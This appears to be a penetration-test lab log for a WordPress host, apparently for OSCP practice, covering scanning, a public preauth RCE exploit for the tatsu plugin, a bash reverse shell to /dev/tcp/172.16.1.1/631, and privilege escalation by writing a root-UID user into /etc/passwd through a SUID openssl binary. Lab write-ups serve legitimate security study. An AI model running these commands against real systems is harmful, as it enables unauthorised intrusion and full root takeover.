Web01-Prd V2

๐Ÿงช Pentest Log: {{date:2025-08-25}}

๐Ÿ” Target Information

ip=10.11.1.7

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip

Found plugins

tatsu

Google for "tatsu 4.3 exploit", found

https://github.com/darkpills/CVE-2021-25094-tatsu-preauth-rce

Port 8080

๐Ÿ’ฃ Exploitation

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

https://github.com/darkpills/CVE-2021-25094-tatsu-preauth-rce

python3 exploit-rce.py http://$ip 'bash -i >& /dev/tcp/172.16.1.1/631 0>&1'


python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 631

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

SUID:

find / -type f -perm -4000 2>/dev/null

found

/usr/bin/openssl

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

LFILE=/etc/passwd
echo 'tony:$1$test$28Tmd0tsvqI1Eq.TDxcaq/:0:0:tony,,,:/root:/bin/bash' | openssl enc -out "$LFILE"
su tony

password